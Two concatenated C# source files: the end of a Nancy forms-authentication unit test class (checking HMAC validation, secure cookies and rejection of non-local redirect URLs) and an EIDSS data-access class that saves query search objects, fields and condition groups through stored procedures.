this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, string.Empty); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeNull(); } [Fact] public void Should_not_set_user_in_context_with_invalid_hmac() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.cookieWithInvalidHmac); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeNull(); } [Fact] public void Should_not_set_user_in_context_with_empty_hmac() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.cookieWithEmptyHmac); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeNull(); } [Fact] public void Should_not_set_user_in_context_with_no_hmac() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.cookieWithNoHmac); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeNull(); } [Fact] public void Should_not_set_username_in_context_with_broken_encryption_data() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.cookieWithBrokenEncryptedData); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeNull(); } [Fact] public void Should_retain_querystring_when_redirecting_to_login_page() { // Given var fakePipelines = new Pipelines(); FormsAuthentication.Enable(fakePipelines, this.config); var queryContext = new NancyContext() { Request = new FakeRequest("GET", "/secure", "?foo=bar"), Response = HttpStatusCode.Unauthorized }; // When fakePipelines.AfterRequest.Invoke(queryContext, new CancellationToken()); // Then queryContext.Response.Headers["Location"].ShouldEqual("/login?returnUrl=/secure%3ffoo%3dbar"); } [Fact] public void Should_change_the_forms_authentication_redirect_uri_querystring_key() { // Given var fakePipelines = new Pipelines(); this.config.RedirectQuerystringKey = "next"; FormsAuthentication.Enable(fakePipelines, this.config); var queryContext = new NancyContext() { Request = new FakeRequest("GET", "/secure", "?foo=bar"), Response = HttpStatusCode.Unauthorized }; // When fakePipelines.AfterRequest.Invoke(queryContext, new CancellationToken()); // Then queryContext.Response.Headers["Location"].ShouldEqual("/login?next=/secure%3ffoo%3dbar"); } [Fact] public void Should_change_the_forms_authentication_redirect_uri_querystring_key_returnUrl_if_config_redirectQuerystringKey_is_null() { // Given var fakePipelines = new Pipelines(); this.config.RedirectQuerystringKey = null; FormsAuthentication.Enable(fakePipelines, this.config); var queryContext = new NancyContext() { Request = new FakeRequest("GET", "/secure", "?foo=bar"), Response = HttpStatusCode.Unauthorized }; // When fakePipelines.AfterRequest.Invoke(queryContext, new CancellationToken()); // Then queryContext.Response.Headers["Location"].ShouldEqual("/login?returnUrl=/secure%3ffoo%3dbar"); } [Fact] public void Should_change_the_forms_authentication_redirect_uri_querystring_key_returnUrl_if_config_redirectQuerystringKey_is_empty() { // Given var fakePipelines = new Pipelines(); this.config.RedirectQuerystringKey = string.Empty; FormsAuthentication.Enable(fakePipelines, this.config); var queryContext = new NancyContext() { Request = new FakeRequest("GET", "/secure", "?foo=bar"), Response = HttpStatusCode.Unauthorized }; // When fakePipelines.AfterRequest.Invoke(queryContext, new CancellationToken()); // Then queryContext.Response.Headers["Location"].ShouldEqual("/login?returnUrl=/secure%3ffoo%3dbar"); } [Fact] public void Should_retain_querystring_when_redirecting_after_successfull_login() { // Given var queryContext = new NancyContext() { Request = new FakeRequest("GET", "/secure", "returnUrl=/secure%3Ffoo%3Dbar") }; FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInRedirectResponse(queryContext, userGuid, DateTime.Now.AddDays(1)); // Then result.Headers["Location"].ShouldEqual("/secure?foo=bar"); } [Fact] public void Should_set_authentication_cookie_to_secure_when_config_requires_ssl_and_logging_in_with_redirect() { //Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.secureConfig); //When var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); //Then result.Cookies .Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName) .First() .Secure.ShouldBeTrue(); } [Fact] public void Should_set_authentication_cookie_to_secure_when_config_requires_ssl_and_logging_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.secureConfig); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid); // Then result.Cookies .Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName) .First() .Secure.ShouldBeTrue(); } [Fact] public void Should_set_authentication_cookie_to_secure_when_config_requires_ssl_and_user_logs_out_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.secureConfig); var result = FormsAuthentication.LogOutAndRedirectResponse(context, "/"); var cookie = result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First(); cookie.Secure.ShouldBeTrue(); } [Fact] public void Should_set_authentication_cookie_to_secure_when_config_requires_ssl_and_user_logs_out_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.secureConfig); // When var result = FormsAuthentication.LogOutResponse(); // Then var cookie = result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First(); cookie.Secure.ShouldBeTrue(); } [Fact] public void Should_redirect_to_base_path_if_non_local_url_and_no_fallback() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); context.Request.Query[config.RedirectQuerystringKey] = "http://moo.com/"; var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.SeeOther); result.Headers["Location"].ShouldEqual("/testing"); } [Fact] public void Should_redirect_to_fallback_if_non_local_url_and_fallback_set() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); context.Request.Query[config.RedirectQuerystringKey] = "http://moo.com/"; var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid, fallbackRedirectUrl:"/moo"); result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.SeeOther); result.Headers["Location"].ShouldEqual("/moo"); } [Fact] public void Should_redirect_to_given_url_if_local() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); context.Request.Query[config.RedirectQuerystringKey] = "~/login"; var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.SeeOther); result.Headers["Location"].ShouldEqual("/testing/login"); } [Fact] public void Should_set_Domain_when_config_provides_domain_value() { //Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.domainPathConfig); //When var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); //Then var cookie = result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First(); cookie.Domain.ShouldEqual(domain); } [Fact] public void Should_set_Path_when_config_provides_path_value() { //Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.domainPathConfig); //When var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); //Then var cookie = result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First(); cookie.Path.ShouldEqual(path); } [Fact] public void Should_throw_with_null_module_passed_to_enable() { var result = Record.Exception(() => FormsAuthentication.Enable((INancyModule)null, this.config)); result.ShouldBeOfType(typeof(ArgumentNullException)); } [Fact] public void Should_throw_with_null_config_passed_to_enable_with_module() { var result = Record.Exception(() => FormsAuthentication.Enable(new FakeModule(), null)); result.ShouldBeOfType(typeof(ArgumentNullException)); } class FakeModule : NancyModule { public FakeModule() { this.After = new AfterPipeline(); this.Before = new BeforePipeline(); this.OnError = new ErrorPipeline(); } } } }
using System; using System.Collections.Generic; using System.Data; using System.Data.Common; using bv.common; using bv.common.Core; using bv.common.Enums; using bv.common.db; using bv.common.db.Core; namespace eidss.avr.db.DBService.QueryBuilder { public class QuerySearchObject_DB : BaseDbService { #region Constants public const string tasQuerySearchObject = "tasQuerySearchObject"; public const string tasQuerySearchField = "tasQuerySearchField"; public const string tasQueryConditionGroup = "tasQueryConditionGroup"; public const string tasSubquery = "tasSubquery"; public const string tasSubquerySearchField = "tasSubquerySearchFields"; #endregion #region ID Properties private long m_QuerySearchObjectID = -1L; public long QuerySearchObjectID { get { return m_QuerySearchObjectID; } set { m_QuerySearchObjectID = value; } } private long m_QueryID = -1L; public long QueryID { get { return m_QueryID; } set { m_QueryID = value; } } #endregion public QuerySearchObject_DB() { base.ObjectName = "QuerySearchObject"; UseDatasetCopyInPost = false; } public override DataSet GetDetail(object ID) { DataSet ds = new DataSet(); try { DbDataAdapter querySearchObjectAdapter = null; IDbCommand cmd = CreateSPCommand("spAsQuerySearchObject_SelectDetail", null); AddParam(cmd, "@ID", ID, ref m_Error, ParameterDirection.Input); if (m_Error != null) { return (null); } AddParam(cmd, "@LangID", bv.model.Model.Core.ModelUserContext.CurrentLanguage, ref m_Error, ParameterDirection.Input); if (m_Error != null) { return (null); } querySearchObjectAdapter = CreateAdapter(cmd, true); querySearchObjectAdapter.Fill(ds, tasQuerySearchObject); ds.EnforceConstraints = false; CorrectTable(ds.Tables[0], tasQuerySearchObject, "idfQuerySearchObject"); CorrectTable(ds.Tables[1], tasQuerySearchField, "idfQuerySearchField"); CorrectTable(ds.Tables[2], tasQueryConditionGroup, "idfCondition"); CorrectTable(ds.Tables[3], tasSubquery, "idfQuerySearchObject"); CorrectTable(ds.Tables[4], tasSubquerySearchField, "idfQuerySearchField"); ClearColumnsAttibutes(ds); ds.Tables[tasQueryConditionGroup].Columns["SearchFieldConditionText"].MaxLength = int.MaxValue; ds.Tables[tasQueryConditionGroup].Columns["idfCondition"].AutoIncrementStep = 1; ds.Tables[tasQueryConditionGroup].Columns["idfCondition"].AutoIncrement = true; ds.Tables[tasQueryConditionGroup].Columns["idfCondition"].AutoIncrementSeed = 0; ds.Tables[tasQuerySearchField].Columns["TypeImageIndex"].ReadOnly = false; ds.Tables[tasSubquerySearchField].Columns["idfQuerySearchField"].AutoIncrementStep = -1; ds.Tables[tasSubquerySearchField].Columns["idfQuerySearchField"].AutoIncrement = true; ds.Tables[tasSubquerySearchField].Columns["idfQuerySearchField"].AutoIncrementSeed = -100000; if (ds.Tables[tasQuerySearchObject].Rows.Count == 0) { if (Utils.IsEmpty(ID) || (!(ID is long)) || ((long)ID >= 0)) { ID = m_QuerySearchObjectID; } else if (ID is long) { m_QuerySearchObjectID = (long)ID; } m_IsNewObject = true; DataRow rQSO = ds.Tables[tasQuerySearchObject].NewRow(); rQSO["idfQuerySearchObject"] = ID; rQSO["idflQuery"] = m_QueryID; rQSO["intOrder"] = 0; ds.EnforceConstraints = false; ds.Tables[tasQuerySearchObject].Rows.Add(rQSO); } else { m_IsNewObject = false; m_QuerySearchObjectID = (long)ds.Tables[tasQuerySearchObject].Rows[0]["idfQuerySearchObject"]; m_QueryID = (long)ds.Tables[tasQuerySearchObject].Rows[0]["idflQuery"]; } InitRootGroupCondition(ds.Tables[tasQueryConditionGroup], ID); ds.EnforceConstraints = false; m_ID = ID; return (ds); } catch (Exception ex) { m_Error = new ErrorMessage(StandardError.FillDatasetError, ex); } return null; } public static DataRow InitRootGroupCondition(DataTable dt, object searchObjectID) { if (dt.Rows.Count == 0) { DataRow row = dt.NewRow(); row["idfCondition"] = 0L; row["idfQueryConditionGroup"] = -1L; row["idfQuerySearchObject"] = searchObjectID; row["intOrder"] = 0; row["idfParentQueryConditionGroup"] = DBNull.Value; row["blnJoinByOr"] = false; row["blnUseNot"] = false; row["idfQuerySearchFieldCondition"] = DBNull.Value; row["SearchFieldConditionText"] = "()"; dt.Rows.Add(row); } return dt.Rows[0]; } public static DataRow InitFilterRow(DataTable dt, object groupID, object parentGroupID, object searchObjectID, object useOr, int order = 0) { DataRow row = dt.NewRow(); row["idfQueryConditionGroup"] = groupID; row["idfParentQueryConditionGroup"] = parentGroupID; row["blnJoinByOr"] = useOr; row["blnUseNot"] = false; row["intOrder"] = order; row["idfQuerySearchObject"] = searchObjectID; row["idfSubQuerySearchObject"] = DBNull.Value; dt.Rows.Add(row); return row; } public override void AcceptChanges(DataSet ds) { // this method shoul duplicate base method bu WITHOUT line m_IsNewObject = false foreach (DataTable table in ds.Tables) { if (!SkipAcceptChanges(table)) { table.AcceptChanges(); } } RaiseAcceptChangesEvent(ds); } private void PostSubQueryWithRootObject(IDbCommand cmdSubQuery, DataRow rSubQuery, DataTable fieldTable, DataTable conditionGroupTable) { if ((cmdSubQuery == null) || (rSubQuery == null)) { return; } object subQueryID = -1L; object subQueryRootObjectID = -1L; object strFunctionName = DBNull.Value; object idflSubQueryDescription = DBNull.Value; if (rSubQuery.RowState != DataRowState.Deleted) { subQueryID = rSubQuery["idflQuery"]; subQueryRootObjectID = rSubQuery["idfQuerySearchObject"]; SetParam(cmdSubQuery, "@idflSubQuery", subQueryID, ParameterDirection.InputOutput); SetParam(cmdSubQuery, "@idfSubQuerySearchObject", subQueryRootObjectID, ParameterDirection.InputOutput); SetParam(cmdSubQuery, "@idfsSearchObject", rSubQuery["idfsSearchObject"], ParameterDirection.Input); SetParam(cmdSubQuery, "@strFunctionName", strFunctionName, ParameterDirection.InputOutput); SetParam(cmdSubQuery, "@idflSubQueryDescription", idflSubQueryDescription, ParameterDirection.InputOutput); cmdSubQuery.ExecuteNonQuery(); long newSubQueryID = (long)((IDataParameter)cmdSubQuery.Parameters["@idflSubQuery"]).Value; long newSubQueryRootObjectID = (long)((IDataParameter)cmdSubQuery.Parameters["@idfSubQuerySearchObject"]).Value; if (newSubQueryRootObjectID != (long)subQueryRootObjectID) { rSubQuery["idflQuery"] = newSubQueryID; rSubQuery["idfQuerySearchObject"] = newSubQueryRootObjectID; DataRow[] fieldRows = fieldTable.Select(string.Format("idfQuerySearchObject = {0} ", subQueryRootObjectID)); foreach (DataRow fieldRow in fieldRows) { if ((fieldRow.RowState != DataRowState.Deleted) && (Utils.Str(fieldRow["idfQuerySearchObject"]).ToLowerInvariant() == Utils.Str(subQueryRootObjectID).ToLowerInvariant())) { fieldRow["idfQuerySearchObject"] = newSubQueryRootObjectID; } } DataRow[] groupRows = conditionGroupTable.Select(string.Format("idfQuerySearchObject = {0} ", subQueryRootObjectID)); foreach (DataRow groupRow in groupRows) { if (groupRow.RowState != DataRowState.Deleted) { groupRow["idfQuerySearchObject"] = newSubQueryRootObjectID; } } groupRows = conditionGroupTable.Select(string.Format("idfSubQuerySearchObject = {0} ", subQueryRootObjectID)); foreach (DataRow groupRow in groupRows) { if (groupRow.RowState != DataRowState.Deleted) { groupRow["idfSubQuerySearchObject"] = newSubQueryRootObjectID; } } } } } private void PostField(IDbCommand cmdField, DataRow rField, DataTable fieldConditionTable) { if ((cmdField == null) || (rField == null)) { return; } object fieldID = -1L; if (rField.RowState == DataRowState.Deleted) { fieldID = rField["idfQuerySearchField", DataRowVersion.Original]; SetParam(cmdField, "@idfQuerySearchField", fieldID, ParameterDirection.InputOutput); SetParam(cmdField, "@idfQuerySearchObject", -1L, ParameterDirection.Input); SetParam(cmdField, "@idfsSearchField", DBNull.Value, ParameterDirection.Input); SetParam(cmdField, "@blnShow", 0, ParameterDirection.Input); SetParam(cmdField, "@idfsParameter", DBNull.Value, ParameterDirection.Input); cmdField.ExecuteNonQuery(); } else { fieldID = rField["idfQuerySearchField"]; SetParam(cmdField, "@idfQuerySearchField", fieldID, ParameterDirection.InputOutput); SetParam(cmdField, "@idfQuerySearchObject", rField["idfQuerySearchObject"], ParameterDirection.Input); SetParam(cmdField, "@idfsSearchField", rField["idfsSearchField"], ParameterDirection.Input); SetParam(cmdField, "@blnShow", rField["blnShow"], ParameterDirection.Input); SetParam(cmdField, "@idfsParameter", rField["idfsParameter"], ParameterDirection.Input); cmdField.ExecuteNonQuery(); long newFieldID = (long)((IDataParameter)cmdField.Parameters["@idfQuerySearchField"]).Value; if (newFieldID != (long)fieldID) { rField["idfQuerySearchField"] = newFieldID; DataRow[] rows = fieldConditionTable.Select(string.Format("idfQuerySearchField = {0} ", fieldID)); foreach (DataRow row in rows) { if (row.RowState != DataRowState.Deleted) { row["idfQuerySearchField"] = newFieldID; } } } } } private void PostFieldCondition(IDbCommand cmdFieldCondition, DataRow rFieldCondition) { if ((cmdFieldCondition == null) || (rFieldCondition == null) || rFieldCondition["idfQuerySearchField"] == DBNull.Value) { return; } SetParam(cmdFieldCondition, "@idfQueryConditionGroup", rFieldCondition["idfParentQueryConditionGroup"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@idfQuerySearchField", rFieldCondition["idfQuerySearchField"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@intOrder", rFieldCondition["intOrder"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@strOperator", rFieldCondition["strOperator"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@intOperatorType", rFieldCondition["intOperatorType"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@blnUseNot", rFieldCondition["blnFieldConditionUseNot"], ParameterDirection.Input); SetParam(cmdFieldCondition, "@varValue", rFieldCondition["varValue"], ParameterDirection.Input); cmdFieldCondition.ExecuteNonQuery(); rFieldCondition["idfQuerySearchFieldCondition"] = ((IDataParameter)cmdPostFieldCondition.Parameters["@idfQuerySearchFieldCondition"]).Value; } private void PostGroup(IDbCommand cmdGroup, DataTable dtGroup, DataRow rGroup) { if ((cmdGroup == null) || (dtGroup == null) || (rGroup == null)) { return; } object oldGroupID = rGroup["idfQueryConditionGroup"]; SetParam(cmdGroup, "@idfQuerySearchObject", rGroup["idfQuerySearchObject"], ParameterDirection.Input); SetParam(cmdGroup, "@intOrder", rGroup["intOrder"], ParameterDirection.Input); SetParam(cmdGroup, "@idfParentQueryConditionGroup", rGroup["idfParentQueryConditionGroup"], ParameterDirection.Input); SetParam(cmdGroup, "@blnJoinByOr", rGroup["blnJoinByOr"], ParameterDirection.Input); SetParam(cmdGroup, "@blnUseNot", rGroup["blnUseNot"], ParameterDirection.Input); SetParam(cmdGroup, "@idfSubQuerySearchObject", rGroup["idfSubQuerySearchObject"], ParameterDirection.Input); cmdGroup.ExecuteNonQuery(); object groupID = ((IDataParameter)cmdGroup.Parameters["@idfQueryConditionGroup"]).Value; rGroup["idfQueryConditionGroup"] = groupID; //update all group rows with new groupID value returned by stored procedure DataRow[] drGroup = dtGroup.Select(string.Format("idfParentQueryConditionGroup = {0} and idfQueryConditionGroup is null", oldGroupID), "intOrder", DataViewRowState.CurrentRows); foreach (DataRow r in drGroup) { r["idfParentQueryConditionGroup"] = groupID; if (cmdPostFieldCondition == null) { cmdPostFieldCondition = CreateSPCommand("spAsQuerySearchFieldCondition_Post", cmdGroup.Transaction); AddTypedParam(cmdPostFieldCondition, "@idfQuerySearchFieldCondition", SqlDbType.BigInt, ParameterDirection.InputOutput); AddTypedParam(cmdPostFieldCondition, "@idfQueryConditionGroup", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@idfQuerySearchField", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@intOrder", SqlDbType.Int, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@strOperator", SqlDbType.NVarChar, 200, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@intOperatorType", SqlDbType.Int, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@blnUseNot", SqlDbType.Bit, ParameterDirection.Input); AddTypedParam(cmdPostFieldCondition, "@varValue", SqlDbType.Variant, ParameterDirection.Input); } PostFieldCondition(cmdPostFieldCondition, r); } drGroup = dtGroup.Select(string.Format("idfParentQueryConditionGroup = {0} and idfQueryConditionGroup is not null", oldGroupID), "intOrder", DataViewRowState.CurrentRows); Dictionary<long, int> postedGroups = new Dictionary<long, int>(); foreach (DataRow r in drGroup) { r["idfParentQueryConditionGroup"] = groupID; if (postedGroups.ContainsKey((long)r["idfQueryConditionGroup"])) continue; PostGroup(cmdGroup, dtGroup, r); postedGroups.Add((long)r["idfQueryConditionGroup"], 1); } } private IDbCommand cmdPostFieldCondition; public override bool PostDetail(DataSet ds, int postType, IDbTransaction transaction) { if ((ds == null) || (ds.Tables.Contains(tasQuerySearchObject) == false) || (ds.Tables.Contains(tasQuerySearchField) == false) || (ds.Tables.Contains(tasQueryConditionGroup) == false)) { return true; } if (IsNewObject) { // Update ID of object in related tables long oldQuerySearchObjectID = -1L; if ((ds.Tables[tasQuerySearchObject].Rows[0]["idfQuerySearchObject"] is long) || ds.Tables[tasQuerySearchObject].Rows[0]["idfQuerySearchObject"] is int) { oldQuerySearchObjectID = (long)(ds.Tables[tasQuerySearchObject].Rows[0]["idfQuerySearchObject"]); } ds.Tables[tasQuerySearchObject].Rows[0]["idflQuery"] = m_QueryID; ds.Tables[tasQuerySearchObject].Rows[0]["idfQuerySearchObject"] = m_QuerySearchObjectID; foreach (DataRow rField in ds.Tables[tasQuerySearchField].Rows) { if (rField.RowState != DataRowState.Deleted) { if (Utils.Str(rField["idfQuerySearchObject"]).ToLowerInvariant() == Utils.Str(oldQuerySearchObjectID).ToLowerInvariant()) rField["idfQuerySearchObject"] = m_QuerySearchObjectID; } } foreach (DataRow rCondition in ds.Tables[tasQueryConditionGroup].Rows) { if (rCondition.RowState != DataRowState.Deleted) { if (Utils.Str(rCondition["idfQuerySearchObject"]).ToLowerInvariant() == Utils.Str(oldQuerySearchObjectID).ToLowerInvariant()) rCondition["idfQuerySearchObject"] = m_QuerySearchObjectID; } } foreach (DataRow rSubQuery in ds.Tables[tasSubquery].Rows) { if (rSubQuery.RowState != DataRowState.Deleted) { if (Utils.Str(rSubQuery["idfParentQuerySearchObject"]).ToLowerInvariant() == Utils.Str(oldQuerySearchObjectID).ToLowerInvariant()) rSubQuery["idfParentQuerySearchObject"] = m_QuerySearchObjectID; } } m_ID = m_QuerySearchObjectID; } try { IDbCommand cmdObject = null; IDbCommand cmdDeleteSubQueries = null; IDbCommand cmdSubQuery = null; IDbCommand cmdField = null; IDbCommand cmdGroup = null; cmdPostFieldCondition = null; if (ds.Tables[tasQuerySearchObject].Rows.Count > 0) { // Update Report Type for Object DataRow rObject = ds.Tables[tasQuerySearchObject].Rows[0]; cmdObject = CreateSPCommand("spAsQuerySearchObject_ReportTypePost", transaction); AddTypedParam(cmdObject, "@idfQuerySearchObject", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdObject, "@idfsReportType", SqlDbType.BigInt, ParameterDirection.Input); SetParam(cmdObject, "@idfQuerySearchObject", m_QuerySearchObjectID, ParameterDirection.Input); SetParam(cmdObject, "@idfsReportType", rObject["idfsReportType"], ParameterDirection.Input); cmdObject.ExecuteNonQuery(); // Delete sub-queries with related objects and links from condition groups of object to sub-queries cmdDeleteSubQueries = CreateSPCommand("spAsQuery_DeleteSubqueries", transaction); AddTypedParam(cmdDeleteSubQueries, "@idfParentQuerySearchObject", SqlDbType.BigInt, ParameterDirection.Input); SetParam(cmdDeleteSubQueries, "@idfParentQuerySearchObject", m_QuerySearchObjectID, ParameterDirection.Input); cmdDeleteSubQueries.ExecuteNonQuery(); // Sub-queries with root objects if (ds.Tables[tasSubquery].Rows.Count > 0) { cmdSubQuery = CreateSPCommand("spAsSubQuery_PostWithRootObject", transaction); AddTypedParam(cmdSubQuery, "@idflSubQuery", SqlDbType.BigInt, ParameterDirection.InputOutput); AddTypedParam(cmdSubQuery, "@idfSubQuerySearchObject", SqlDbType.BigInt, ParameterDirection.InputOutput); AddTypedParam(cmdSubQuery, "@idfsSearchObject", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdSubQuery, "@strFunctionName", SqlDbType.NVarChar, 200, ParameterDirection.InputOutput); AddTypedParam(cmdSubQuery, "@idflSubQueryDescription", SqlDbType.BigInt, ParameterDirection.InputOutput); foreach (DataRow rSubQuery in ds.Tables[tasSubquery].Rows) { PostSubQueryWithRootObject(cmdSubQuery, rSubQuery, ds.Tables[tasSubquerySearchField], ds.Tables[tasQueryConditionGroup]); } } // Fields cmdField = CreateSPCommand("spAsQuerySearchField_Post", transaction); // Fields of object AddTypedParam(cmdField, "@idfQuerySearchField", SqlDbType.BigInt, ParameterDirection.InputOutput); AddTypedParam(cmdField, "@idfQuerySearchObject", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdField, "@idfsSearchField", SqlDbType.BigInt, ParameterDirection.Input); AddTypedParam(cmdField, "@blnShow", SqlDbType.Bit, ParameterDirection.Input); AddTypedParam(cmdField, "@idfsParameter", SqlDbType.BigInt, ParameterDirection.Input); if (ds.Tables[tasQuerySearchField].Rows.Count > 0) { foreach (DataRow rField in ds.Tables[tasQuerySearchField].Rows) { PostField(cmdField, rField, ds.Tables[tasQueryConditionGroup]); } } // Fields of sub-queries if (ds.Tables[tasSubquerySearchField].Rows.Count > 0) { foreach (DataRow rSubQueryField in ds.Tables[tasSubquerySearchField].Rows) { PostField(cmdField, rSubQueryField, ds.Tables[tasQueryConditionGroup]); } } LookupCache.NotifyChange("QuerySearchField", transaction, null); } // Delete condition groups of object IDbCommand cmdDeleteGroups = CreateSPCommand("spAsQuerySearchObject_DeleteConditions", transaction); SetParam(cmdDeleteGroups, "@idfQuerySearchObject", m_QuerySearchObjectID, ParameterDirection.Input); cmdDeleteGroups.ExecuteNonQuery(); // Condition groups including sub-queries if (ds.Tables[tasQueryConditionGroup].Rows.Count > 0) { cmdGroup = CreateSPCommandWithParams("spAsQueryConditionGroup_Post", transaction, null); DataRow[] dr = ds.Tables[tasQueryConditionGroup].Select("idfParentQueryConditionGroup is null", "idfQueryConditionGroup", DataViewRowState.CurrentRows); if (dr.Length > 0) { PostGroup(cmdGroup, ds.Tables[tasQueryConditionGroup], dr[0]); } } m_IsNewObject = false; } catch (Exception ex) { m_Error = new ErrorMessage(StandardError.PostError, ex); return false; } return true; } public void Copy(DataSet ds, object aID, long aQueryID) { if ((ds == null) || (ds.Tables.Contains(tasQuerySearchObject) == false) || (ds.Tables.Contains(tasQuerySearchField) == false) || (ds.Tables.Contains(tasQueryConditionGroup) == false) || (ds.Tables.Contains(tasSubquery) == false) || (ds.Tables.Contains(tasSubquerySearchField) == false) || (ds.Tables[tasQuerySearchObject].Rows.Count == 0)) { return; } if (Utils.IsEmpty(aID) || (!(aID is long)) || ((long)aID >= 0)) { aID = -1L; } m_QuerySearchObjectID = (long)aID; m_QueryID = aQueryID; m_IsNewObject = true; DataRow rQSO = ds.Tables[tasQuerySearchObject].Rows[0]; rQSO["idfQuerySearchObject"] = aID; rQSO["idflQuery"] = aQueryID; m_ID = aID; if (ds.Tables[tasQueryConditionGroup].Rows.Count == 0) { DataRow rQCG = ds.Tables[tasQueryConditionGroup].NewRow(); rQCG["idfQueryConditionGroup"] = -1L; rQCG["idfQuerySearchObject"] = aID; rQCG["intOrder"] = 0; rQCG["idfParentQueryConditionGroup"] = DBNull.Value; rQCG["blnJoinByOr"] = DBNull.Value; rQCG["blnUseNot"] = false; rQCG["idfQuerySearchFieldCondition"] = DBNull.Value; rQCG["idfSubQuerySearchObject"] = DBNull.Value; rQCG["SearchFieldConditionText"] = "()"; ds.EnforceConstraints = false; ds.Tables[tasQueryConditionGroup].Rows.Add(rQCG); } } public static void CreateNewSubQuery(DataSet ds, long queryId, long querySearchObjectId, long parentQuerySearchObjectId, long searchObjectId) { if (!ds.Tables.Contains(tasSubquery)) return; var dt = ds.Tables[tasSubquery]; var row = dt.NewRow(); row["idflQuery"] = queryId; row["idfQuerySearchObject"] = querySearchObjectId; row["idfParentQuerySearchObject"] = parentQuerySearchObjectId; row["idfsSearchObject"] = searchObjectId; dt.Rows.Add(row); } public static DataRow CreateNewSubQuerySearchField(DataSet ds, long querySearchFieldId, long querySearchObjectId, long searchFieldId, string fieldAlias) { if (!ds.Tables.Contains(tasSubquerySearchField)) return null; var dt = ds.Tables[tasSubquerySearchField]; var row = dt.NewRow(); if (querySearchFieldId != 0) //if id is passed explicitly, assign it. In other case it will be calcaulated by autoincrement row["idfQuerySearchField"] = querySearchFieldId; row["idfQuerySearchObject"] = querySearchObjectId; row["idfsSearchField"] = searchFieldId; row["FieldAlias"] = fieldAlias; row["blnShow"] = false; //TODO: Add idfsParameter dt.Rows.Add(row); return row; } } }
